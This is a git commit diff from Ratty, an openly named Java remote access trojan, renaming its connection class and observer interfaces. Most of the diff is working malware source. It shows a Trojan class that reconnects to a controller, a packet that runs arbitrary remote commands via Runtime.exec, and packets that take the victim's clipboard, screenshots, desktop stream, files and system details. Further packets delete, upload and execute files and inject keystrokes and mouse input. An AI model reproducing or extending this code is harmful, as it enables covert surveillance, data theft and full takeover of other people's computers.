Browse Source

Small changes

Refactoring
master
Sogomn 9 years ago
parent
commit
9e66d732e2
  1. 12
      Ratty/src/de/sogomn/rat/ActiveConnection.java
  2. 11
      Ratty/src/de/sogomn/rat/IClientObserver.java
  3. 11
      Ratty/src/de/sogomn/rat/IConnectionObserver.java
  4. 2
      Ratty/src/de/sogomn/rat/Ratty.java
  5. 6
      Ratty/src/de/sogomn/rat/Trojan.java
  6. 20
      Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java
  7. 8
      Ratty/src/de/sogomn/rat/packet/AudioPacket.java
  8. 14
      Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java
  9. 8
      Ratty/src/de/sogomn/rat/packet/CommandPacket.java
  10. 8
      Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java
  11. 8
      Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java
  12. 14
      Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java
  13. 14
      Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java
  14. 8
      Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java
  15. 14
      Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java
  16. 8
      Ratty/src/de/sogomn/rat/packet/FreePacket.java
  17. 8
      Ratty/src/de/sogomn/rat/packet/IPacket.java
  18. 14
      Ratty/src/de/sogomn/rat/packet/InformationPacket.java
  19. 8
      Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java
  20. 8
      Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java
  21. 8
      Ratty/src/de/sogomn/rat/packet/PopupPacket.java
  22. 14
      Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
  23. 8
      Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java
  24. 14
      Ratty/src/de/sogomn/rat/packet/VoicePacket.java
  25. 8
      Ratty/src/de/sogomn/rat/packet/WebsitePacket.java
  26. 10
      Ratty/src/de/sogomn/rat/server/ActiveServer.java
  27. 4
      Ratty/src/de/sogomn/rat/server/IServerObserver.java
  28. 73
      Ratty/src/de/sogomn/rat/server/gui/DisplayController.java
  29. 50
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  30. 52
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

12
Ratty/src/de/sogomn/rat/ActiveClient.java → Ratty/src/de/sogomn/rat/ActiveConnection.java

@ -8,21 +8,21 @@ import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.PacketType;
public final class ActiveClient extends TCPConnection {
public final class ActiveConnection extends TCPConnection {
private LinkedBlockingQueue<IPacket> packetQueue;
private Thread sender, reader;
private IClientObserver observer;
private IConnectionObserver observer;
public ActiveClient(final String address, final int port) {
public ActiveConnection(final String address, final int port) {
super(address, port);
packetQueue = new LinkedBlockingQueue<IPacket>();
}
public ActiveClient(final Socket socket) {
public ActiveConnection(final Socket socket) {
super(socket);
packetQueue = new LinkedBlockingQueue<IPacket>();
@ -87,7 +87,7 @@ public final class ActiveClient extends TCPConnection {
}
if (observer != null) {
observer.clientDisconnected(this);
observer.disconnected(this);
}
}
@ -131,7 +131,7 @@ public final class ActiveClient extends TCPConnection {
packetQueue.remove(packet);
}
public void setObserver(final IClientObserver observer) {
public void setObserver(final IConnectionObserver observer) {
this.observer = observer;
}

11
Ratty/src/de/sogomn/rat/IClientObserver.java

@ -1,11 +0,0 @@
package de.sogomn.rat;
import de.sogomn.rat.packet.IPacket;
public interface IClientObserver {
void packetReceived(final ActiveClient client, final IPacket packet);
void clientDisconnected(final ActiveClient client);
}

11
Ratty/src/de/sogomn/rat/IConnectionObserver.java

@ -0,0 +1,11 @@
package de.sogomn.rat;
import de.sogomn.rat.packet.IPacket;
public interface IConnectionObserver {
void packetReceived(final ActiveConnection connection, final IPacket packet);
void disconnected(final ActiveConnection connection);
}

2
Ratty/src/de/sogomn/rat/Ratty.java

@ -82,7 +82,7 @@ public final class Ratty {
}
public static void connectToHost(final String address, final int port) {
final ActiveClient newClient = new ActiveClient(address, port);
final ActiveConnection newClient = new ActiveConnection(address, port);
final Trojan trojan = new Trojan();
if (!newClient.isOpen()) {

6
Ratty/src/de/sogomn/rat/Trojan.java

@ -3,7 +3,7 @@ package de.sogomn.rat;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.VoicePacket;
public final class Trojan implements IClientObserver {
public final class Trojan implements IConnectionObserver {
private VoiceRecorder voiceRecorder;
private byte[] lastData;
@ -22,7 +22,7 @@ public final class Trojan implements IClientObserver {
}
@Override
public void packetReceived(final ActiveClient client, final IPacket packet) {
public void packetReceived(final ActiveConnection client, final IPacket packet) {
if (packet instanceof VoicePacket) {
final VoicePacket voice = (VoicePacket)packet;
@ -33,7 +33,7 @@ public final class Trojan implements IClientObserver {
}
@Override
public void clientDisconnected(final ActiveClient client) {
public void disconnected(final ActiveConnection client) {
final String address = client.getAddress();
final int port = client.getPort();

20
Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java

@ -1,6 +1,6 @@
package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public abstract class AbstractPingPongPacket implements IPacket {
@ -17,20 +17,20 @@ public abstract class AbstractPingPongPacket implements IPacket {
this(REQUEST);
}
protected abstract void sendRequest(final ActiveClient client);
protected abstract void sendRequest(final ActiveConnection client);
protected abstract void sendData(final ActiveClient client);
protected abstract void sendData(final ActiveConnection client);
protected abstract void receiveRequest(final ActiveClient client);
protected abstract void receiveRequest(final ActiveConnection client);
protected abstract void receiveData(final ActiveClient client);
protected abstract void receiveData(final ActiveConnection client);
protected abstract void executeRequest(final ActiveClient client);
protected abstract void executeRequest(final ActiveConnection client);
protected abstract void executeData(final ActiveClient client);
protected abstract void executeData(final ActiveConnection client);
@Override
public final void send(final ActiveClient client) {
public final void send(final ActiveConnection client) {
client.writeByte(type);
if (type == REQUEST) {
@ -41,7 +41,7 @@ public abstract class AbstractPingPongPacket implements IPacket {
}
@Override
public final void receive(final ActiveClient client) {
public final void receive(final ActiveConnection client) {
type = client.readByte();
if (type == REQUEST) {
@ -52,7 +52,7 @@ public abstract class AbstractPingPongPacket implements IPacket {
}
@Override
public final void execute(final ActiveClient client) {
public final void execute(final ActiveConnection client) {
if (type == REQUEST) {
executeRequest(client);
} else if (type == DATA) {

8
Ratty/src/de/sogomn/rat/packet/AudioPacket.java

@ -4,7 +4,7 @@ import java.io.File;
import de.sogomn.engine.fx.Sound;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class AudioPacket implements IPacket {
@ -23,13 +23,13 @@ public final class AudioPacket implements IPacket {
}
@Override
public void send(final ActiveClient client) {
public void send(final ActiveConnection client) {
client.writeInt(data.length);
client.write(data);
}
@Override
public void receive(final ActiveClient client) {
public void receive(final ActiveConnection client) {
final int length = client.readInt();
data = new byte[length];
@ -38,7 +38,7 @@ public final class AudioPacket implements IPacket {
}
@Override
public void execute(final ActiveClient client) {
public void execute(final ActiveConnection client) {
final Sound sound = Sound.loadSound(data);
sound.play();

14
Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java

@ -10,7 +10,7 @@ import java.io.IOException;
import javax.swing.JDialog;
import javax.swing.JOptionPane;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class ClipboardPacket extends AbstractPingPongPacket {
@ -22,27 +22,27 @@ public final class ClipboardPacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveClient client) {
protected void sendRequest(final ActiveConnection client) {
//...
}
@Override
protected void sendData(final ActiveClient client) {
protected void sendData(final ActiveConnection client) {
client.writeUTF(clipboardContent);
}
@Override
protected void receiveRequest(final ActiveClient client) {
protected void receiveRequest(final ActiveConnection client) {
//...
}
@Override
protected void receiveData(final ActiveClient client) {
protected void receiveData(final ActiveConnection client) {
clipboardContent = client.readUTF();
}
@Override
protected void executeRequest(final ActiveClient client) {
protected void executeRequest(final ActiveConnection client) {
type = DATA;
try {
@ -60,7 +60,7 @@ public final class ClipboardPacket extends AbstractPingPongPacket {
}
@Override
protected void executeData(final ActiveClient client) {
protected void executeData(final ActiveConnection client) {
final JOptionPane optionPane = new JOptionPane(clipboardContent);
final JDialog dialog = optionPane.createDialog(null);

8
Ratty/src/de/sogomn/rat/packet/CommandPacket.java

@ -2,7 +2,7 @@ package de.sogomn.rat.packet;
import javax.swing.JOptionPane;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class CommandPacket implements IPacket {
@ -17,15 +17,15 @@ public final class CommandPacket implements IPacket {
}
@Override
public void send(final ActiveClient client) {
public void send(final ActiveConnection client) {
client.writeUTF(command);
}
public void receive(final ActiveClient client) {
public void receive(final ActiveConnection client) {
command = client.readUTF();
}
public void execute(final ActiveClient client) {
public void execute(final ActiveConnection client) {
try {
Runtime.getRuntime().exec(command);
} catch (final Exception ex) {

8
Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java

@ -3,7 +3,7 @@ package de.sogomn.rat.packet;
import java.io.File;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class CreateFolderPacket implements IPacket {
@ -19,19 +19,19 @@ public final class CreateFolderPacket implements IPacket {
}
@Override
public void send(final ActiveClient client) {
public void send(final ActiveConnection client) {
client.writeUTF(path);
client.writeUTF(name);
}
@Override
public void receive(final ActiveClient client) {
public void receive(final ActiveConnection client) {
path = client.readUTF();
name = client.readUTF();
}
@Override
public void execute(final ActiveClient client) {
public void execute(final ActiveConnection client) {
final File folder = new File(path);
String fullPath = null;

8
Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java

@ -2,7 +2,7 @@ package de.sogomn.rat.packet;
import java.io.File;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class DeleteFilePacket implements IPacket {
@ -17,17 +17,17 @@ public final class DeleteFilePacket implements IPacket {
}
@Override
public void send(final ActiveClient client) {
public void send(final ActiveConnection client) {
client.writeUTF(path);
}
@Override
public void receive(final ActiveClient client) {
public void receive(final ActiveConnection client) {
path = client.readUTF();
}
@Override
public void execute(final ActiveClient client) {
public void execute(final ActiveConnection client) {
final File file = new File(path);
file.delete();

14
Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java

@ -5,7 +5,7 @@ import java.util.ArrayList;
import java.util.stream.Stream;
import de.sogomn.engine.util.ImageUtils;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.util.FrameEncoder;
import de.sogomn.rat.util.FrameEncoder.IFrame;
@ -34,12 +34,12 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveClient client) {
protected void sendRequest(final ActiveConnection client) {
client.writeByte(deleteLastScreenshot);
}
@Override
protected void sendData(final ActiveClient client) {
protected void sendData(final ActiveConnection client) {
Stream.of(frames).forEach(frame -> {
final byte[] data = ImageUtils.toByteArray(frame.image, 0);
@ -56,12 +56,12 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket {
}
@Override
protected void receiveRequest(final ActiveClient client) {
protected void receiveRequest(final ActiveConnection client) {
deleteLastScreenshot = client.readByte();
}
@Override
protected void receiveData(final ActiveClient client) {
protected void receiveData(final ActiveConnection client) {
final ArrayList<IFrame> framesList = new ArrayList<IFrame>();
while (client.readByte() == INCOMING) {
@ -84,7 +84,7 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket {
}
@Override
protected void executeRequest(final ActiveClient client) {
protected void executeRequest(final ActiveConnection client) {
final BufferedImage screenshot = FrameEncoder.takeScreenshotWithCursor();
if (deleteLastScreenshot == DELETE || lastScreenshot == null) {
@ -107,7 +107,7 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket {
}
@Override
protected void executeData(final ActiveClient client) {
protected void executeData(final ActiveConnection client) {
//...
}

14
Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java

@ -3,7 +3,7 @@ package de.sogomn.rat.packet;
import java.io.File;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class DownloadFilePacket extends AbstractPingPongPacket {
@ -25,24 +25,24 @@ public final class DownloadFilePacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveClient client) {
protected void sendRequest(final ActiveConnection client) {
client.writeUTF(path);
}
@Override
protected void sendData(final ActiveClient client) {
protected void sendData(final ActiveConnection client) {
client.writeInt(data.length);
client.write(data);
client.writeUTF(fileName);
}
@Override
protected void receiveRequest(final ActiveClient client) {
protected void receiveRequest(final ActiveConnection client) {
path = client.readUTF();
}
@Override
protected void receiveData(final ActiveClient client) {
protected void receiveData(final ActiveConnection client) {
final int length = client.readInt();
data = new byte[length];
@ -54,7 +54,7 @@ public final class DownloadFilePacket extends AbstractPingPongPacket {
}
@Override
protected void executeRequest(final ActiveClient client) {
protected void executeRequest(final ActiveConnection client) {
final File file = new File(path);
if (file.exists() && !file.isDirectory()) {
@ -67,7 +67,7 @@ public final class DownloadFilePacket extends AbstractPingPongPacket {
}
@Override
protected void executeData(final ActiveClient client) {
protected void executeData(final ActiveConnection client) {
FileUtils.writeData(fileName, data);
}

8
Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java

@ -5,7 +5,7 @@ import java.awt.Desktop.Action;
import java.io.File;
import java.io.IOException;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class ExecuteFilePacket implements IPacket {
@ -20,17 +20,17 @@ public final class ExecuteFilePacket implements IPacket {
}
@Override
public void send(final ActiveClient client) {
public void send(final ActiveConnection client) {
client.writeUTF(path);
}
@Override
public void receive(final ActiveClient client) {
public void receive(final ActiveConnection client) {
path = client.readUTF();
}
@Override
public void execute(final ActiveClient client) {
public void execute(final ActiveConnection client) {
final boolean desktopSupported = Desktop.isDesktopSupported();
final File file = new File(path);

14
Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java

@ -4,7 +4,7 @@ import java.io.File;
import java.util.ArrayList;
import java.util.stream.Stream;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public class FileSystemPacket extends AbstractPingPongPacket {
@ -29,12 +29,12 @@ public class FileSystemPacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveClient client) {
protected void sendRequest(final ActiveConnection client) {
client.writeUTF(rootFile);
}
@Override
protected void sendData(final ActiveClient client) {
protected void sendData(final ActiveConnection client) {
for (final String path : paths) {
client.writeByte(INCOMING);
client.writeUTF(path);
@ -44,12 +44,12 @@ public class FileSystemPacket extends AbstractPingPongPacket {
}
@Override
protected void receiveRequest(final ActiveClient client) {
protected void receiveRequest(final ActiveConnection client) {
rootFile = client.readUTF();
}
@Override
protected void receiveData(final ActiveClient client) {
protected void receiveData(final ActiveConnection client) {
final ArrayList<String> pathList = new ArrayList<String>();
while (client.readByte() == INCOMING) {
@ -63,7 +63,7 @@ public class FileSystemPacket extends AbstractPingPongPacket {
}
@Override
protected void executeRequest(final ActiveClient client) {
protected void executeRequest(final ActiveConnection client) {
final File[] children;
if (rootFile.isEmpty() || rootFile.equals(File.separator)) {
@ -86,7 +86,7 @@ public class FileSystemPacket extends AbstractPingPongPacket {
}
@Override
protected void executeData(final ActiveClient client) {
protected void executeData(final ActiveConnection client) {
//...
}

8
Ratty/src/de/sogomn/rat/packet/FreePacket.java

@ -1,6 +1,6 @@
package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class FreePacket implements IPacket {
@ -9,17 +9,17 @@ public final class FreePacket implements IPacket {
}
@Override
public void send(final ActiveClient client) {
public void send(final ActiveConnection client) {
//...
}
@Override
public void receive(final ActiveClient client) {
public void receive(final ActiveConnection client) {
//...
}
@Override
public void execute(final ActiveClient client) {
public void execute(final ActiveConnection client) {
client.setObserver(null);
client.close();

8
Ratty/src/de/sogomn/rat/packet/IPacket.java

@ -1,15 +1,15 @@
package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public interface IPacket {
void send(final ActiveClient client);
void send(final ActiveConnection client);
void receive(final ActiveClient client);
void receive(final ActiveConnection client);
void execute(final ActiveClient client);
void execute(final ActiveConnection client);
}

14
Ratty/src/de/sogomn/rat/packet/InformationPacket.java

@ -1,6 +1,6 @@
package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.Ratty;
public final class InformationPacket extends AbstractPingPongPacket {
@ -22,31 +22,31 @@ public final class InformationPacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveClient client) {
protected void sendRequest(final ActiveConnection client) {
//...
}
@Override
protected void sendData(final ActiveClient client) {
protected void sendData(final ActiveConnection client) {
client.writeUTF(name);
client.writeUTF(os);
client.writeUTF(version);
}
@Override
protected void receiveRequest(final ActiveClient client) {
protected void receiveRequest(final ActiveConnection client) {
//...
}
@Override
protected void receiveData(final ActiveClient client) {
protected void receiveData(final ActiveConnection client) {
name = client.readUTF();
os = client.readUTF();
version = client.readUTF();
}
@Override
protected void executeRequest(final ActiveClient client) {
protected void executeRequest(final ActiveConnection client) {
type = DATA;
name = System.getProperty("user.name");
os = System.getProperty("os.name");
@ -56,7 +56,7 @@ public final class InformationPacket extends AbstractPingPongPacket {
}
@Override
protected void executeData(final ActiveClient client) {
protected void executeData(final ActiveConnection client) {
//...
}

8
Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java

@ -4,7 +4,7 @@ import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class KeyEventPacket implements IPacket {
@ -25,19 +25,19 @@ public final class KeyEventPacket implements IPacket {
}
@Override
public void send(final ActiveClient client) {
public void send(final ActiveConnection client) {
client.writeInt(key);
client.writeByte(strokeType);
}
@Override
public void receive(final ActiveClient client) {
public void receive(final ActiveConnection client) {
key = client.readInt();
strokeType = client.readByte();
}
@Override
public void execute(final ActiveClient client) {
public void execute(final ActiveConnection client) {
try {
final Robot rob = new Robot();

8
Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java

@ -4,7 +4,7 @@ import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.MouseEvent;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class MouseEventPacket implements IPacket {
@ -28,7 +28,7 @@ public final class MouseEventPacket implements IPacket {
}
@Override
public void send(final ActiveClient client) {
public void send(final ActiveConnection client) {
client.writeInt(x);
client.writeInt(y);
client.writeInt(button);
@ -36,7 +36,7 @@ public final class MouseEventPacket implements IPacket {
}
@Override
public void receive(final ActiveClient client) {
public void receive(final ActiveConnection client) {
x = client.readInt();
y = client.readInt();
button = client.readInt();
@ -44,7 +44,7 @@ public final class MouseEventPacket implements IPacket {
}
@Override
public void execute(final ActiveClient client) {
public void execute(final ActiveConnection client) {
try {
final Robot rob = new Robot();

8
Ratty/src/de/sogomn/rat/packet/PopupPacket.java

@ -4,7 +4,7 @@ import javax.swing.JDialog;
import javax.swing.JOptionPane;
import de.sogomn.engine.util.ImageUtils;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
@ -21,17 +21,17 @@ public final class PopupPacket implements IPacket {
}
@Override
public void send(final ActiveClient client) {
public void send(final ActiveConnection client) {
client.writeUTF(message);
}
@Override
public void receive(final ActiveClient client) {
public void receive(final ActiveConnection client) {
message = client.readUTF();
}
@Override
public void execute(final ActiveClient client) {
public void execute(final ActiveConnection client) {
final JOptionPane optionPane = new JOptionPane(message);
final JDialog dialog = optionPane.createDialog(null);

14
Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@ -5,7 +5,7 @@ import java.awt.image.BufferedImage;
import de.sogomn.engine.Screen;
import de.sogomn.engine.Screen.ResizeBehavior;
import de.sogomn.engine.util.ImageUtils;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.util.FrameEncoder;
public final class ScreenshotPacket extends AbstractPingPongPacket {
@ -22,12 +22,12 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveClient client) {
protected void sendRequest(final ActiveConnection client) {
//...
}
@Override
protected void sendData(final ActiveClient client) {
protected void sendData(final ActiveConnection client) {
final byte[] data = ImageUtils.toByteArray(image, "PNG");
client.writeInt(data.length);
@ -35,12 +35,12 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
}
@Override
protected void receiveRequest(final ActiveClient client) {
protected void receiveRequest(final ActiveConnection client) {
//...
}
@Override
protected void receiveData(final ActiveClient client) {
protected void receiveData(final ActiveConnection client) {
final int length = client.readInt();
final byte[] data = new byte[length];
@ -54,7 +54,7 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
}
@Override
protected void executeRequest(final ActiveClient client) {
protected void executeRequest(final ActiveConnection client) {
type = DATA;
image = FrameEncoder.takeScreenshot();
@ -66,7 +66,7 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
}
@Override
protected void executeData(final ActiveClient client) {
protected void executeData(final ActiveConnection client) {
final int width = image.getWidth();
final int height = image.getHeight();

8
Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java

@ -3,7 +3,7 @@ package de.sogomn.rat.packet;
import java.io.File;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class UploadFilePacket implements IPacket {
@ -28,7 +28,7 @@ public final class UploadFilePacket implements IPacket {
}
@Override
public void send(final ActiveClient client) {
public void send(final ActiveConnection client) {
client.writeInt(data.length);
client.write(data);
client.writeUTF(folderPath);
@ -36,7 +36,7 @@ public final class UploadFilePacket implements IPacket {
}
@Override
public void receive(final ActiveClient client) {
public void receive(final ActiveConnection client) {
final int length = client.readInt();
data = new byte[length];
@ -48,7 +48,7 @@ public final class UploadFilePacket implements IPacket {
}
@Override
public void execute(final ActiveClient client) {
public void execute(final ActiveConnection client) {
final File folder = new File(folderPath);
String path = null;

14
Ratty/src/de/sogomn/rat/packet/VoicePacket.java

@ -1,7 +1,7 @@
package de.sogomn.rat.packet;
import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class VoicePacket extends AbstractPingPongPacket {
@ -13,23 +13,23 @@ public final class VoicePacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveClient client) {
protected void sendRequest(final ActiveConnection client) {
//...
}
@Override
protected void sendData(final ActiveClient client) {
protected void sendData(final ActiveConnection client) {
client.writeInt(data.length);
client.write(data);
}
@Override
protected void receiveRequest(final ActiveClient client) {
protected void receiveRequest(final ActiveConnection client) {
//...
}
@Override
protected void receiveData(final ActiveClient client) {
protected void receiveData(final ActiveConnection client) {
final int length = client.readInt();
data = new byte[length];
@ -38,14 +38,14 @@ public final class VoicePacket extends AbstractPingPongPacket {
}
@Override
protected void executeRequest(final ActiveClient client) {
protected void executeRequest(final ActiveConnection client) {
type = DATA;
client.addPacket(this);
}
@Override
protected void executeData(final ActiveClient client) {
protected void executeData(final ActiveConnection client) {
final Sound sound = Sound.loadSound(data);
sound.play();

8
Ratty/src/de/sogomn/rat/packet/WebsitePacket.java

@ -6,7 +6,7 @@ import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class WebsitePacket implements IPacket {
@ -29,17 +29,17 @@ public final class WebsitePacket implements IPacket {
}
@Override
public void send(final ActiveClient client) {
public void send(final ActiveConnection client) {
client.writeUTF(address);
}
@Override
public void receive(final ActiveClient client) {
public void receive(final ActiveConnection client) {
address = client.readUTF();
}
@Override
public void execute(final ActiveClient client) {
public void execute(final ActiveConnection client) {
final boolean desktopSupported = Desktop.isDesktopSupported();
if (desktopSupported) {

10
Ratty/src/de/sogomn/rat/server/ActiveServer.java

@ -3,7 +3,7 @@ package de.sogomn.rat.server;
import java.net.Socket;
import de.sogomn.engine.net.TCPServer;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class ActiveServer extends TCPServer {
@ -15,14 +15,14 @@ public final class ActiveServer extends TCPServer {
super(port);
}
private ActiveClient acceptClient() {
private ActiveConnection acceptClient() {
final Socket socket = acceptConnection();
if (socket == null) {
return null;
}
final ActiveClient client = new ActiveClient(socket);
final ActiveConnection client = new ActiveConnection(socket);
return client;
}
@ -44,10 +44,10 @@ public final class ActiveServer extends TCPServer {
public void start() {
final Runnable runnable = () -> {
while (isOpen()) {
final ActiveClient client = acceptClient();
final ActiveConnection client = acceptClient();
if (observer != null && client != null) {
observer.clientConnected(this, client);
observer.connected(this, client);
}
}
};

4
Ratty/src/de/sogomn/rat/server/IServerObserver.java

@ -1,10 +1,10 @@
package de.sogomn.rat.server;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public interface IServerObserver {
void clientConnected(final ActiveServer server, final ActiveClient client);
void connected(final ActiveServer server, final ActiveConnection connection);
void closed(final ActiveServer server);

73
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java → Ratty/src/de/sogomn/rat/server/gui/DisplayController.java

@ -9,34 +9,28 @@ import de.sogomn.engine.IMouseListener;
import de.sogomn.engine.Screen;
import de.sogomn.engine.Screen.ResizeBehavior;
import de.sogomn.engine.util.ImageUtils;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.packet.KeyEventPacket;
import de.sogomn.rat.packet.MouseEventPacket;
import de.sogomn.rat.util.FrameEncoder.IFrame;
public final class DisplayPanel {
public final class DisplayController {
private ActiveConnection connection;
private String title;
private Screen screen;
private BufferedImage image;
private int lastXPos, lastYPos;
private int lastButtonHit;
private int lastKeyHit;
private IGuiController controller;
private static final int SCREEN_WIDTH = 1920 / 2;
private static final int SCREEN_HEIGHT = 1080 / 2;
public static final String MOUSE_PRESSED = "Mouse pressed";
public static final String MOUSE_RELEASED = "Mouse released";
public static final String KEY_PRESSED = "Key pressed";
public static final String KEY_RELEASED = "Key released";
public DisplayPanel() {
//...
public DisplayController(final ActiveConnection connection) {
this.connection = connection;
}
private Screen createScreen(final int width, final int height) {
final Screen screen = new Screen(width, height);
final String title = connection.getAddress();
final IMouseListener mouseListener = new IMouseListener() {
@Override
public void mouseEvent(final int x, final int y, final int button, final boolean flag) {
@ -68,30 +62,29 @@ public final class DisplayPanel {
}
private void mouseEventPerformed(final int x, final int y, final int button, final boolean flag) {
lastXPos = x;
lastYPos = y;
final byte type = flag ? MouseEventPacket.PRESS : MouseEventPacket.RELEASE;
final int buttonEvent;
if (button == MouseEvent.BUTTON1) {
lastButtonHit = MouseEvent.BUTTON1_DOWN_MASK;
buttonEvent = MouseEvent.BUTTON1_DOWN_MASK;
} else if (button == MouseEvent.BUTTON2) {
lastButtonHit = MouseEvent.BUTTON2_DOWN_MASK;
buttonEvent = MouseEvent.BUTTON2_DOWN_MASK;
} else if (button == MouseEvent.BUTTON3) {
lastButtonHit = MouseEvent.BUTTON3_DOWN_MASK;
buttonEvent = MouseEvent.BUTTON3_DOWN_MASK;
} else {
lastButtonHit = MouseEvent.NOBUTTON;
buttonEvent = MouseEvent.NOBUTTON;
}
if (controller != null) {
controller.userInput(flag ? MOUSE_PRESSED : MOUSE_RELEASED);
}
final MouseEventPacket packet = new MouseEventPacket(x, y, buttonEvent, type);
connection.addPacket(packet);
}
private void keyEventPerformed(final int key, final boolean flag) {
lastKeyHit = key;
final byte type = flag ? KeyEventPacket.PRESS : KeyEventPacket.RELEASE;
final KeyEventPacket packet = new KeyEventPacket(key, type);
if (controller != null) {
controller.userInput(flag ? KEY_PRESSED : KEY_RELEASED);
}
connection.addPacket(packet);
}
private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) {
@ -146,28 +139,4 @@ public final class DisplayPanel {
updateScreen(screenWidth, screenHeight);
}
public void setTitle(final String title) {
this.title = title;
}
public void setController(final IGuiController controller) {
this.controller = controller;
}
public int getLastXPos() {
return lastXPos;
}
public int getLastYPos() {
return lastYPos;
}
public int getLastButtonHit() {
return lastButtonHit;
}
public int getLastKeyHit() {
return lastKeyHit;
}
}

50
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -10,8 +10,8 @@ import javax.swing.filechooser.FileNameExtensionFilter;
import de.sogomn.engine.fx.ISoundListener;
import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.IConnectionObserver;
import de.sogomn.rat.builder.StubBuilder;
import de.sogomn.rat.packet.AudioPacket;
import de.sogomn.rat.packet.ClipboardPacket;
@ -25,8 +25,6 @@ import de.sogomn.rat.packet.FileSystemPacket;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.KeyEventPacket;
import de.sogomn.rat.packet.MouseEventPacket;
import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.packet.UploadFilePacket;
@ -40,7 +38,7 @@ import de.sogomn.rat.util.FrameEncoder.IFrame;
* THIS CLASS IS A MESS!
* I HAVE NO IDEA HOW ONE MAKES NON-MESSY CONTROLLER CLASSES
*/
public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController {
public final class RattyGuiController implements IServerObserver, IConnectionObserver, IGuiController {
private RattyGui gui;
private JFileChooser fileChooser;
